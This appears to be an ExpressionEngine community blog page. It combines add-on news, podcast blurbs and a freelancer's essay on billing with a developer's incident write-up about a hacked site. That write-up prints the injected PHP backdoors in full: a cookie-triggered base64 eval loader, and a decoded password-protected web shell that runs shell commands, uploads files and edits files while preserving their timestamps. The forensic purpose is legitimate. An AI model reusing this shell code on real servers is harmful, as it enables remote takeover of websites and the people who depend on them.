Front-end Matrix Using Freeform
Blog Entry
Q Digital Studio posted a clever way to create a simple front-end grid for Freeform so you can have Matrix-like functionality on the front-end of your site.
Be sure to check out the demo.
Over a series of 8 videos, watch and learn as Ryan builds an entire ExpressionEngine website from beginning to end. Get started now.
Q Digital Studio posted a clever way to create a simple front-end grid for Freeform so you can have Matrix-like functionality on the front-end of your site.
Be sure to check out the demo.
Our friends at Expresso recently released Store 2.0, a big update to their popular e-commerce add-on for ExpressionEngine.
The new version is built on top of the open source OmniPay library and features improvements to shipping, discounts and taxes. The update is paid, at $199 for existing customers, and available now. To get the upgrade just log in to your account.
I have not yet used Store 2.0 but I’ve been using Store 1.x for more than a year to run all of store functions at Mijingo. It has flawlessly handled running my store and sending purchases through Authorize.net and PayPal. I’d like better reporting out of the box (hoping for some improvements in 2.0) but for a basic package I couldn’t be happier. I am planning to update to Store 2.0 in the near future.
How do we get more women to speak at conferences? Jenn Lukas believes sharing stories through Ladies in Tech is one way. In this week’s episode, we discuss Jenn’s first speaking experiences, what prompted her to begin Ladies in Tech, and tackle the sensitive topic of gender disparity in technology with our own opinions of what can be done. We also chat about Tumblr addiction, choosing a CMS for projects, plus all the latest updates from CMSes we’re following!
The fluid nature of the web has never been as important as it is today, thanks to the explosion of devices that consume the web. Whether it’s for a mobile or a large, high-definition device, designing a fluid, flexible experience is less a trend and more about making sure content is accessible to everyone.
Special guest Ben Callahan joins CTRL+CLICK to discuss responsive web design as a foundation for today’s web designers and developers. He shares how RWD is now the default approach at his company, Sparkbox, and how it has changed their process for delivering web sites. Ben also discusses where content management systems fit into RWD, and offers recommendations for testing tools and development resources. Tune in now!
Thanks to Perch for sponsoring!
Before I started down this professional path when I was 22 I had a fascination with salary jobs. A job that paid me when I was sick and gave me vacation and personal days, with that mythical 401k thing and the other perk “insürancé” (whatever that was), seemed like a worthy goal. In my family, hourly work was the name of the game for everyone so salary jobs were always put on a pedestal alongside, of all things, government work (a future in the DMV could have been mine!). Seeing the pain involved in simply living as a baseline really influenced a salary job to become my goal early.
With only a few exceptions, all through college (and a couple years after) I worked as either a waiter or pizza delivery driver, and sometimes both at the same time just to make ends meet. Like everyone else in similar positions, if I got sick or injured, or went on vacation, or my car broke down and I couldn’t make it in to work, or went home early for an emergency or doctors appointment, I didn’t get paid. It really reinforced my motivation during school to be honest.
The precariousness of this dynamic bothered me a great deal. But, being in college and working towards a better tomorrow, I had confidence it was temporary and that I would eventually gain one of those sweet, sweet, salary positions everyone kept talking about.
But when I did eventually get my first salary job I realized very quickly that what I imagined and the reality were two very different things. Yes, there were vacation days and sick days aplenty. (Well, ok, not “aplenty”, but I got a few of each and that was great at first.) And, yes, if I had a doctors’ appointment or had to go home early for any reason I’d be paid for the whole day.
The rub, of course, is that whether I worked 40 hours or 100 hours I only got paid for 40. And being a web developer, especially at that early level, a 40 hour work week is just rare.
At first, this was an easy thing to accept. Fresh(ish) out of my internship, and feeling like I’m starting to build “something”, I was all about the team and the company and “getting the job done”. Ra ra ra and all that. I recall being very sympathetic about issues requiring sacrifice in order to “save the day” and “do my part” for the team. Essentially, for what amounted to free more often than not.
Now, this may work wonders for other salaried vocations, I have no idea, but programmers, web developers, sysadmins, and designers, we’re all knowledge workers and working like this is straight demoralizing. Our jobs require thinking, planning, strategy, and then implementation and integration. And it’s the planning and strategy parts that really screw one over in this line of work.
Looking back on it, it was the teamwork part that was especially motivating and conflicting to me personally. How could I leave my team to continue working on our common goals, all wrapped in their suffering and pain, while I go off and avoid it? I couldn’t rationalize it.
So working tons and tons of hours became a part of my world. A part of my reality. For years and years this is how I looked at the job of web development and programmer at agencies.
It took me a few years to realize the truth: there are no “our” goals. Hell, there is no “us”. Not really. It’s been my experience that it is the rare company that actually cares for their employees with the same loyalty they demand from their employees. This is just what business is (at least in America).
Now, before anyone calls me cynical; I don’t begrudge that. Not even a little. In fact, embracing that is incredibly liberating. It’s about money. In the end, no matter how much you love your team or what you do or how much is taken personally, having a job is still all about making another dollar for someone else who’ll give you your piece.
Which, in a nutshell, is why I’m a freelancer/contractor/mercenary now. But, I no longer have the safety net of a salary so I have to get creative with billing and income. Since I get asked asked all the time how I can remain independent without being broke I thought I’d go over the “hows” of my income as a contractor.
For my main contract clients, I bill either hourly, which I’ve discussed in the past, or with a retainer, which is fairly new to me but tends to work out nicely (tends to). Then, of course, there’s also the supplemental income from ExpressionEngine add-ons, core customization requests, and, lately, stand alone extensions to my own add-ons.
Frankly, I love hourly. I’d work 168 hours a week if I could get paid for every single one of them. Scope creep, management incompetence, team or hardware failures, complete and total process failure? I couldn’t give a single damn about any of them. I’m being compensated for every minute of my time at a rate I agreed to.
The only real downside to billing hourly is that it automatically shrinks the pool of available clients I have access to. Some clients are just turned off by it, as an institutional rule, so I’m an automatic pass for certain projects. Still, speaking personally, losing out on projects because a client doesn’t pay hourly contractors has yet to hurt me in any meaningful way.
The other method, retainer, is new to me. With few exceptions though it appears to be working out pretty good. The basic idea is simple: a company “retains” my services and is guaranteed XX hours of my time a week/month/whatever for guaranteed YY payment.
For straight up retainers, this works out great. It’s the opposite of a salary position. 100% win for me, with the client taking all the risk and me making my rate for overages while still getting paid when I don’t work. It’s like free profit; I can really see why lawyers are fond of it.
There’s a new trend in retainer deals that’s come up lately though that changes this dynamic a little; retainer hour banking. Essentially, the idea is that hours don’t expire but roll over for later use by the client or contractor depending on the divide. For example, a client pays for 20 hours a week but only uses 10 hours so they have 10 more hours to use at another time. So long as the base retainer continues to be paid the hours stay valid for use.
On the surface, this appears to be a fair agreement. With straight retainers, the client runs the risk of taking a financial loss while the developer has little to no risk at all. Hour banking changes that in a more equitable manner. I really hate the adversarial style of business so if I can work things win/win for me and the client I’m usually all about it.
The big downside to hour banking is the imbalance that quickly develops just from the nature of web development in general. With most projects and tasks I’ve worked on, devs can burn through a retainer term really, really, quickly. Working two sixteen hour days in a row, doing research then design and then implementation, isn’t unheard of in this line of work so, with hour banking, a client can accumulate an unwieldy balance with little effort. Constant diligence has to be had to ensure things are kept in check. Because of that, I’m really not as big a fan of this compared to straight hourly or a normal retainer term.
Then there’s ExpressionEngine add-on development. Add-on development is a bit of a long game, so the income isn’t significant compared to client work just yet, but it does provide a nice cushion of income worth note. Erik Reagan has a great piece outlining the pros and cons of add-on development that’s worth reading, and while I agree with his position from an agency standpoint, for the individual dev I think add-on development is a nice side venture worth undertaking if you’re independent and able.
And not just ExpressionEngine; lots of platforms are extensible and have commercial add-on ecosystems. If you can hold down the rage, developing add-ons for Magento or WordPress are both viable, and supposedly, profitable, options. For those who want a little joy in their lives, I hear Statamic and Craft are the ones to watch.
The most obvious benefit is additional income but I don’t think it’s the most valuable for a contractor. Looking back on over 2 years of add-on development, I have to say the most valuable benefit I’ve gotten is the familiarity with the base platform. I know ExpressionEngine. When it comes to ExpressionEngine contracts, I have a nice advantage in being a known resource. My work is out there and some people even like some of them enough to talk about them to their clients. I’ve found it really helps with winning over the new clients or agencies.
The other side though is customization work. Initially this was specific requests to core aspects of an add-on that were so time consuming, or conflicted existing schedules, that customers would pay for the feature instead of waiting for me to get to it naturally. For example, Backup Pro having Rackspace Cloudfiles support, CT Admin Product reports, and Securit:ee’s Security Scanner feature, were all commissioned core changes from customers. Core changes isn’t significant income, but it’s notable because of the complete return in that the it’s possible to get paid to improve your product. Something about that just feels amazing.
But, after implementing extension hooks into my add-ons last year, most requests are done as stand alone and specific add-ons that sit side by side with the core add-on. I really like doing this type of work. With my normal client work, a big part is writing custom add-ons specific to their site but along with all the other parts of building a site that I generally hate doing, so this allows me to just come in and do just the fun part.
Make no mistake though; this is tons of work (and don’t get me started on the definition of a ton) but well worth it in my experience. If you’re thinking about throwing off the shackles of mainstream work though, and are concerned about how to make ends meet, this is a strategy that’s worked out well for me for a few years now with no end in sight.
If you want to learn more about billing practices and ExpressionEngine, be sure to check out Ryan Battles talk at this years ExpressionEngine Conference in Portland on October 14-15.
Yesterday, Happy Cog + Mijingo launched The Happy Cog Way, a series of eight courses on designing and building for the web, from the folks at Happy Cog.
The bundle launched with HTML Prototyping by Happy Cog Senior Designer Patrick Marsceill. Each week Happy Cog will roll out a new course. Each course comes with a training video, professional transcript, a recorded roundtable discussion with the Happy Cog team, all sample code, and supplemental materials, like checklists, talking points, and more.
Over the next seven weeks new courses will cover Responsive Web Design, grids, building a type system, HTML5, CSS3, and more.
Here’s a preview of the bundle and the first course:
The bundle is only $99 until October 8th. After that the price goes up to $149.
EllisLab’s End of Summer Special for ExpressionEngine licenses wraps up next week. If you haven’t already taken advantage of it, you should.
Only 10 days remaining for $30 off #eecms End of Summer Special. Use coupon code CEG2-VEP5 at checkout. https://t.co/yYFGkwmu3B
— EllisLab (@EllisLab) September 16, 2013
$30 off will get you an ExpressionEngine license with a bit of cash in your pocket to use towards something else. Don’t miss out!
Today Wildbit, the company behind Beanstalk, launched Dploy.io, which handles continous deployment for Github, Bitbucket, and private repositories.
Beanstalk is my favorite repository hosting tools because of its excellent deployment tools. But sometimes I want to host my code elsewhere but still take advantage of those tools.Dploy.io makes that much easier now.
It $29/mo (free for open source) and can deploy to one more servers at a time.
This is a on-going series of entries where I highlight EE experiences.
I’ll say it: I dislike official *support* for #eecms add-ons through ExpressionEngine Answers Stack Exchange.
— Ryan Masuga (@masuga) September 10, 2013
I like that it has helped bolster a great resource but it is weird. Feels like it could fail the same way EE Forum support did.
It started with a short email.
Hi Eric: I just went to log in and this is what I am seeing.
Plus, after I typed in my user/pass I immediately received the below email:
–email– ExpressionEngine has detected the modification of a core file on: http://www.site.com/
The following files are affected: /var/www/site.com/htdocs/index.php If you made these changes, please accept the modifications on the control panel homepage. If you did not alter these files it may indicate a hacking attempt. Check the files for any suspicious contents (JavaScript or iFrames) and contact ExpressionEngine support: http://expressionengine.com/forums/viewforum/105/
Please review the support policy before posting to the forums: http://expressionengine.com/support/support_policy/
Weird. I’m supposed to be on hiatus from client work for a few months so this must definitely be a real issue if the client’s going to pull me from my slumber.
“Crap.”
Thinking about it I realized that this was for an ExpressionEngine site I built years ago with the client who refused to pay to upgrade. I remember this one. Nice site. Proud site. The one that caused the spark of an idea for CT Admin now that I think about it.
“Ah, things are starting to come together here. Old site. No upgrades. Security warning about a modified file and PHP errors I’ve never seen before in an ExpressionEngine site… I know what to do.”
The very first thing I always do whenever I receive an email or note similar to the above. Check. The. Site. Are we still up? Are the users in immediate danger from malicious code injection?
“Ok, let’s see what we have here…”
Looking into the front site showed that it was still up and kicking with no noticeable issue whatsoever. No delays, no missing pages, no random errors. Nothing out of the ordinary.
“Weird. Everything looks aces. Of course, this means nothing.”
Next up, I do a cursory check of the HTML source on the front site. Why? To protect the users from malicious JavaScript ASAP. Are there any scripts, anywhere, that don’t belong? This is where knowing the coding style of your team really comes into play. Speed is important so there’s no time to actually read and understand all the code and what it’s doing. We’re not ready for that investment just yet.
“Does this script look like Caroline wrote it?”
I’ve worked with Caroline for years so I’m very familiar with how she names her variables and objects, how she does closures and function calls, how she indents rather than uses spaces, or that quirky way there’s always that one line that’s indented and has spaces from when she was bug hunting.
“Lame. Nothing here either. Users are cool though so at least there’s that.”
Once I ensure the site’s up and the users aren’t in any immediate danger the next thing I do is look into the files mentioned. First though, many may be asking why I didn’t do that first. It would have made sense; I can’t argue with the logic. The errors really would tell me exactly where something may have gone wrong.
Short answer is experience (I’ve been burned not checking on users). The story so far tells me there’s a likelihood of a compromise or even straight hacking going on but no confirmation one way or the other (bad code is far more likely after all). Besides, the errors and modifications aren’t going anywhere but the site has traffic coming to it in real time. It could be ruinous to a client if the users get compromised just from visiting the site so the users have to be the #1 priority when investigating compromised properties. Once the front site is confirmed safe then, and only then, triage can begin.
But, why not just pull the site then? Take it offline and dig into things in the safety of a controlled environment. Better safe than sorry after all. And if the site showed any signs of JavaScript injection or malicious anything, that’s exactly what I would have done. But with no evidence otherwise, there didn’t seem to be a need for such a drastic, scorch the earth, approach at that point.
So, I check the file mentioned. The config.php
file had an immediate error message so I start there (path of least resistance and all).
Opening the file, this is what I see (cleaned up for readability):
$bNo6=${'_REQU'.'EST'};
if (!empty($bNo6['jgt'])) {
$Jtl = $bNo6['C6u'];
$rny=$bNo6['jgt']($Jtl($bNo6['yXc']),$Jtl($bNo6['cvIsv']));
$rny($Jtl($bNo6['FuVt']));
}
if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/*
|--------------------------------------------------------------------------
| ExpressionEngine Config Items
|--------------------------------------------------------------------------
|
| The following items are for use with ExpressionEngine. The rest of
| the config items are for use with CodeIgniter.
|
*/
Well that’s about as clear cut case of a compromise as I’ve ever seen. Someone definitely got in and is doing something they don’t want to be obvious. But what’s the endgame?
If it’s not obvious, the above code is exceptionally insidious. It allows arbitrary code execution based on the availability of a specific REQUEST variable and it’s values (cookies most likely). What’s so insidious about this is how simple it is to execute code once the initial payload is on the server. Just change the cookie to include available PHP function names and parameters and refresh the page. Simple and effective.
But, again, what’s the endgame?
Before I can even start thinking about answering that question though I need to pull the site immediately. (I find matter-of-fact, tough love, approach to be required in these situations. NEVER make it an option for anyone ever.)
“We’re going offline people. Deal with it.”
Essentially, at this stage, I want to accomplish two things.
One, is protect the client from themselves. Their site is up and, likely, they won’t appreciate being taken offline. I’ve found “I don’t care” is an appropriate attitude when they give grief on this point.
The other reason is I need to get a snapshot of the property for investigation. I need to determine which files were modified, what the purpose for the modification was, when the modification occurred, and how the modification occurred. At this stage, it’s that last question that’s the most crucial for overall peace of mind but also impossible to answer without the other questions being answered first.
So, I pull the site for investigation (essentially, just running tar
on the containing directory suffices in keeping time stamps intact) and take it offline from the web (htaccess magic and a static index.html “we’re down for maintenance” page).
With the snapshot in hand, now’s the time to dig into the code. At this point I don’t want to hook it up to a vhost for browser execution; not knowing what’s going on with the code could be dangerous. No, right now I just want to read the code and visually scan for issues.
But where to start? ExpressionEngine is a huge codebase with thousands of files. Thankfully, in this situation I’ve confirmed the config file was compromised so that’s where I start. I check the last modified time stamp on the file and see it was last modified on September 6th at 4:35PM. That’s my baseline.
So I do a find
on the codebase for all files that were modified within 90 minutes, give or take, of that time. Why the margin for error? Because at this stage I still don’t know the how or who of the compromise. Could be a script kiddie, using automated tools, or it could be an actual person trying to take my client down while personally pecking away on their keyboard in real time. The margin is to account for both possibilities.
Running the command yields 3 files modified around that time:
expressionengine/config/config.php
expressionengine/config/database.php
./index.php
The database.php
file had the exact same code injected at the top as the config.php
file so there was nothing new gleaned there. But the index.php
file was a wealth of insight. Here’s what I found:
if(isset($_COOKIE['ugnnsk']) || isset($HTTP_COOKIE_VARS['ugnnsk'])) {
$ugnnsk=str_replace('ugnnsk','','ugnnskICBAc2V0X3RpbWVfbGltaXQoMCk7DQogIEBlcnJvcl
ogIEBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQogIEBpbmlfc2V0KCd1cGxvYWRfbWF4X2ZpbGVz
aXplJywxMDQ4NTc2MCk7DQogIEBpbmlfc2V0KCdwb3N0X21heF9zaXplJywxMDQ4NTc2MCk7DQogIEB
(snip 1000 lines of base64 encoded code)
3lzdGVtKCRjbWQpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4
oKTsNCgkJfQ0KCQllbHNlDQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCgkJew0KCQkJQ
G9iX3N0YXJ0KCk7DQoJCQlAcGFzc3RocnUoJGNtZCk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cyg
pOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9DQoJCWVsc2UNCgkJaWYgKEBpc19yZXNvdXJjZSgkZiA9I
EBwb3BlbigkY21kLCJyIikpKQ0KCQl7DQoJCQkkcmVzID0gIiI7DQoJCQl3aGlsZSghQGZlb2YoJGYpKSB
7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9DQoJCQlAcGNsb3NlKCRmKTsNCgkJfQ0KCQlyZXR1cm4gJ
HJlczsNCgl9DQo=');
eval(base64_decode($ugnnsk));
exit();
}
/**
* ExpressionEngine - by EllisLab
*
* @package ExpressionEngine
* @author ExpressionEngine Dev Team
* @copyright Copyright (c) 2003 - 2011, EllisLab, Inc.
* @license http://expressionengine.com/user_guide/license.html
* @link http://expressionengine.com
* @since Version 2.0
*/
I’ve removed quite a bit of the code for sanity but there it is. The hack payload in all it’s truncated and missing 1000 lines of base64 crud glory, injected into the top of the ExpressionEngine index.php
script. So, what’s it doing? What’s the point?
It’s actually pretty clever really. The exploit checks for a cookie, even taking PHP4 into account (which is a HUGE clue for later explanation actually), compiles the base64 string into PHP code and executes something using the eval()
function. If the cookie is found that is. For everyone else, every other visitor to the site, they won’t notice anything wrong or out of the ordinary. Had EllisLab not included the core file modification alert into ExpressionEngine’s core we never would have been the wiser until a change order from the client came in. So, thanks for that guys.
But what’s the code that gets executed and compiled? That base64 nonsense. The best way to find that out is to decode it and see what gets outputted. This being base64 it’s incredibly simple using either straight PHP or online tools. After decoding the base64 code this is what I received:
@set_time_limit(0);
@error_reporting(2);
@set_magic_quotes_runtime(0);
@ini_set('upload_max_filesize',10485760);
@ini_set('post_max_size',10485760);
@ini_set('file_uploads', true);
@ini_set('display_errors',true);
@ini_set('register_globals',true);
@ini_set('register_long_arrays',true);
@ini_set('max_execution_time',false);
@ini_set('output_buffering',false);
@ini_set('allow_url_fopen',true);
$safemode=@ini_get('safe_mode');
$magic_quotes=1;
if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();
$phpver = str_replace('.','',phpversion());
if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
if(intval($phpver) < 410){
$_POST=&$HTTP_POST_VARS;
$_GET=&$HTTP_GET_VARS;
$_SERVER=&$HTTP_SERVER_VARS;
$_COOKIE=&$HTTP_COOKIE_VARS;
$_FILES=&$HTTP_POST_FILES;
}
@ob_end_clean();
$pw_pls="<form method=post><input type=text name=pw></form>";
if (empty($_POST['pw'])) exit($pw_pls);
if (!empty($_POST['pw']) && md5($_POST['pw'])!='79a248de1b0101cbfb4d1a7a60f6d4a5')
exit($pw_pls);
$pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";
if (!empty($_POST['usemodule'])) include($_POST['usemodule']);
$work_dir = getcwd();
if (strpos($work_dir,"\\")!==false) $work_dir=str_replace("\\","/",$work_dir);
if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
else $os="nix";
if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
else $cd = $work_dir;
if (is_dir($cd)) chdir($cd);
$run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run'];
$edit=stripslashes($_POST['edit']);
if (!@is_file($edit)) $edit=$cd;
if (!empty($_POST['eval']))
eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);
if (!empty($_FILES['userfile']['tmp_name'])
&& is_uploaded_file($_FILES['userfile']['tmp_name'])) {
$uploaddir = ereg_replace('/+', '/', $cd."/");
$uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
}
if (isset($_POST['save'])) {
if ($magic_quotes) $console = stripslashes($_POST['console']);
else $console = $_POST['console'];
$time = filemtime($edit);
$f=@fopen($edit,"w");
if ($f) {
fwrite($f,$console);
fclose($f);
touch($edit,$time);
$edit=$cd;
}
}
if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
$f=@fopen($edit,"r");
if ($f) {
if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
else $retval = "[empty]";
fclose($f);
} else {
$retval = "Can't open file: $edit\n";
}
} elseif (!empty($run)) {
$cmd = $run;
$retval = magic_execute($cmd);
} elseif (file_exists($cd) && @is_dir($cd)) {
if (!$safemode)
{
if ($os=='win')
{
$cmd = "dir ".str_replace("/","\\",$cd);
$retval = magic_execute($cmd);
}
else
{
$cmd = "ls -la \"$cd\"";
$retval = magic_execute($cmd);
}
}
if (empty($retval))
{
$dir=$cd;
if($curdir = @opendir($dir)) {
while($file = readdir($curdir)) {
if($file != '.' && $file != '..') {
$srcfile = $dir . '/' . $file;
if(is_file($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile))
$retval .= "++ ".$file."\n";
else $retval .= "-- ".$file."\n";
} elseif(is_dir($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile))
$retval .= "d+ ".$file."\n";
else $retval .= "d- ".$file."\n";
}
}
}
closedir($curdir);
} else $retval = "Cant open directory\n";
}
}
$id_exec = "cant get uid,gid";
if ($tmp = magic_execute("id")) $id_exec = $tmp;
elseif (function_exists('posix_getgid'))
{
$uids = @posix_getlogin();
$euids = @posix_getlogin();
$uid = @posix_getuid();
$euid = @posix_geteuid();
$gid = @posix_getgid();
if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";
}
//HTML FORM REMOVED FOR SANITY
exit();
function can_write($file) {
if(file_exists($file)){
if (is_file($file)) {
$f=@fopen($file,"a+");
if($f){
fclose($f);return true;
}
}elseif (is_dir($file)) {
if ($file[strlen($file)-1]!='/')
$file.='/';$tfile = $file."testxxxtest";
if (@touch($tfile)){
unlink($tfile);
return true;
}
}
}
return false;
}
function magic_execute($cmd)
{
$res=false;
if (function_exists('exec'))
{
@exec($cmd,$res);
$res = join("\n",$res);
}
else
if (function_exists('shell_exec'))
$res = @shell_exec($cmd);
else
if (function_exists('system'))
{
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if(function_exists('passthru'))
{
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if (@is_resource($f = @popen($cmd,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
return $res;
}
Excellent! A backdoor to the server! An old one too; I’ve seen this before actually. Years and years and years ago. Lame. This is, clearly, not as interesting as I had thought.
So, the exploit as it stands at this point is on 2 vectors: the arbitrary code execution in config.php
and database.php
and the base64’d backdoor script found in index.php
that gets passed to eval()
. The backdoor is basically a simple form, which also allows code execution, but a whole lot more too. You can upload files, modify files, do all sorts of evil if you’re so inclined.
Now that we know the “what” we need to determine the “how”. How did this evil get onto the server in the first place. We will not go live until we know the initial hole is plugged or else we run the very likely risk of repeating things. So no rest yet.
This being an old install of ExpressionEngine my initial instinct was to look at EE itself. Thus, I need to hit up the Apache logs and find out what happened, and from where, around the time of the config.php
file changes (September 6th at 4:35PM). This is where the tedious pain starts.
This was a fairly popular site so the logs were simply enormous. Even gzipped the logs came in at 30MB which meant they were 600MB raw. And I had to go through them line by line looking for anything that stood out as a problem. Which obviously begs the question: what’s a problem?
When it comes to Apache log investigation, POST requests are the likely clue that points to a problem. Yes, GET requests can be a problem too, but when doing the initial investigation I find focusing on POST requests cuts down on the pain considerably since pretty much everything that would allow compromise would be done through a form (POST request). Save the GET requests as a last resort if nothing else can be found.
I also pay attention to the IP addresses for the requests. I don’t have them memorized or anything like that but when scanning a log file I run traces on the IPs I find and try to discern any weirdness among them. For example, a restaurant site based in California getting tons of Control Panel POST requests from China would be suspicious and worth investigating. Conversely, finding the known authorized IP addresses is just as important to remove any false positives.
Make no mistake, this is grueling and time consuming work. It can feel like it’s going on forever and there’s no end in sight. It really depends on the amount of logs to pour through and how many requests there are. It hurts. A lot.
Eventually though, guaranteed, the fog will lift and patterns will start to emerge. In my case, when the fog did lift, the evidence was troubling. I could find zero evidence that ExpressionEngine was at fault or even a little bit to blame. Nothing. Instead, what I saw was that requests for our time range, checking both POST and GET requests, were all authentic with nothing at all suspicious outside of the time they occurred.
Worse, I could find no evidence of any requests to the compromised functionality. It turns out the backdoor was either never used or, if it was, the person responsible did one hell of a clean up job (something that would require a skill set and attention to detail that has been lacking from all evidence till now).
Not that I wanted ExpressionEngine to be the hole. But if it was, plugging it would have been trivial. Upgrade EE, turn the site back on, and go hit happy hour. Not now though. Now it has to be kicked up a couple levels to other people and departments with additional care taken all over the place.
Knowing ExpressionEngine wasn’t the entry point meant restoring the site from Git was on the table. Easy enough really. Unfortunately, not having a resolution calls the entire infrastructure the site lived on into question. We can’t host on that server anymore. Moving the site to a new server and vhost LAMP package got the client back up and running with little pain (in the move) and left us with confidence that the exploit wouldn’t return. For good measure, we’re trying to convince the client to upgrade their ExpressionEngine.
Still, how’d the exploit get in? Who, or what, was responsible? These are big questions that’ll take some time to figure out 100%. But that’s the nature of the beast. Sometimes it’s easy and others it’s just a waiting game requiring patience.
I do feel confident saying that this wasn’t a targeted attack. It has all the feelings of a script kiddie, or at the least, an automated attack with no sense of pride or craftsmanship to it.
First, there’s the backdoor script. Very old school. It takes into account PHP 3 and is clearly copy/pasted from elsewhere. Even doing a search on the md5 string 79a248de1b0101cbfb4d1a7a60f6d4a5
found in the code turns up a StackOverflow question from over a year ago with the exact script.
Second, there is no evidence the backdoor has ever been accessed. At no point, before or after the exploit was put in place, do the logs show any activity. And if the hacker was savvy enough to remove their tracks, why use such a shoddy script for shell access in the first place? Creating something custom would be fairly trivial for those in the know while using the script used must be painful. Regardless, if it was a person sitting in front of a keyboard, they’d at the least verify they were successful in the exploit.
Third, and this is most troubling, the only access to the site that has anything even remotely suspicious looking during the time line came from the client’s network (IP address range). The implications of this are pretty scary; it’s entirely possible their network, or at the least a computer on their network, has a virus which compromised their site. Totally guessing, but that’s where my instincts take me once I consider the log data.
The other scenario, of course, is a breach of the server the site was living on. I don’t give that much credence though, mostly because of the style of exploit implemented. Again, if one has the savvy to execute a system level attack, why bother with placing the exploit in ExpressionEngine at all? But the only way to really know this 100% is to have the sysadmins do their magic and look over all the system logs.
But this is how most compromised site investigations run in my experience. Sometimes you have an answer extremely early in the process (aha! WORDPRESS!!) and other times you have to wait a good while before you know what’s going on. The important thing is to stay on top of it until you have a complete and total answer. Don’t half ass this.
Come see me talk more about security at upcoming ExpressionEngine Conference in Portland on October 14th & 15th.
Jae Barclay drops by the podcast to discuss the complex world of events and calendars. We chat about how vast calendar scope can be and begin by defining what calendars actually are and dealing with client expectations. Jae explains how events are NOT necessarily registration functionality, and breaks down what Low Events and Solspace Calendar can do for you. We also chat EE news and find out what’s on the horizon for Creat-ee! Tune in now!
Thanks to eecoder for sponsoring!
As my working life gets busier I’m increasingly finding doing the writing and thinking type of work on my laptop unfeasible. There are too many applications, too many distractions and I could easily be back in code or email or something else that isn’t what I planned on doing. I’m also finding the “cognitive heft” of writing on a laptop to be burdensome. It’s a laptop, a nice retina screen and virtually no limitation to what I can do with it. It’s also kind of pain to carry around.
So, lately I’ve thinking more and more about writing on a simpler device. Like my iPad.
Writing on the iPad and using it as a laptop-like device isn’t anything new. Publisher of MacStories, Federico Viticci has been doing it for more than a year. In fact, it was an important part of how he worked and maintained the MacStories website while undergoing treatment for cancer.
My desire to simplify the tool I use to write and brainstorm wasn’t motivated by a serious personal health challenge but did gain speed after the release of Editorial, an iOS app for writing and creating workflows.
Editorial is a plain text editor that supports Markdown syntax and allows you to create custom workflows to process that text. This could be as simple as a quick way to trigger a Google search from a selected word to an entire workflow for publishing .
The workflows use pre-defined componenets (much like Automator in OS X) but you can also customize your workflow using your own Python code. Editorial makes several libraries available to you so you can do almost anything you want, including communicating over XML-RPC with an application on a server.
What I’ve put together (by modifying an existing workflow for WordPress) is a workflow for publishing from Editorial (where I’m writing this post) right into my ExpressionEngine installation for EE Insider. Because of the ability to research right inside of Editorial using the built-in web browser and related workflows, I can do almost everything I need for EE Insider right inside of one single app. Exactly what I wanted.
My Publish to ExpressionEngine workflow makes it simple to take Markdown formatted content in Editorial (I send it as Markdown right to EE without converting), choose a category for it and then send the entry to ExpressionEngine to be published. After the new entry is published, Editorial launches the built-in web browser to the EE Insider homepage so I can review and make any necessary edits. Sadly, any edits have to be done in the EE Control Panel. I wish I could edit right in Editorial like I can with MarsEdit.
The magic all happens via the Metaweblog API, which ExpressionEngine already supports via the Metaweblog API module. You do need to set up the module in order to use this workflow but it’s simple and takes just 30 seconds.
Here’s a video of what it’s like to use the workflow.
If you’re into writing on your iPad or want to try, you should use Editorial. It can be daunting at first but take some time to get used to how it works and think how it would best for you. There’s a great collection of existing workflows assembled by Gabe Weatherhead that are a good starting point.
For a thorough and complete introduction to Editorial, bookmark and read the extended coverage on Macstories by Federico Viticci and Macdrifter by Gabe Weatherhead. Both are excellent and include videos and sample workflows to help you get started.
This is a on-going series of entries where I highlight EE experiences.
Spontaneous shout of acclamation for ExpressionEngine® Answers http://t.co/OdbYP1BdCr So. Incredibly. Helpful #eecms #EESE
— Susan A. Kitchens (@susankitchens) August 29, 2013
Amazing that it’s not even a year old yet. Quite the accomplishment from just an idea at EECI last year.
Low Schutte (maker of the great Low Variables add-on plus many more) made the move to exclusively selling on Devot-ee last week.
I thought it was a nice idea: sell my stuff on my own site in euros, sell on devot:ee in US dollars. Link back and forth so people can choose in what currency they’d like to purchase licenses. However, it became apparent that most of my customers preferred devot:ee over my own site. The convenience of having all their purchases in one place proved to be a big plus.
In addition to convienence, Low also noted tax issues (because of the VAT–value added tax–in EU countries) that made it difficult to continue to sell in two different places. Selling exclusively on Devot-ee made things simpler for him.
There are a lot of reasons to shop at Devot-ee, the main ones for me being keeping all of my licenses in one spot and the ability to transfer licenses to other accounts (to a client’s account, typically).
Many add-on developers already sell exclusively through Devot-ee because it makes the process of setting up shop and selling add-ons turnkey and simple. Some sell both on their own sites and on Devot-ee as a way to make it as convenient as possible for their customers to access their add-ons.
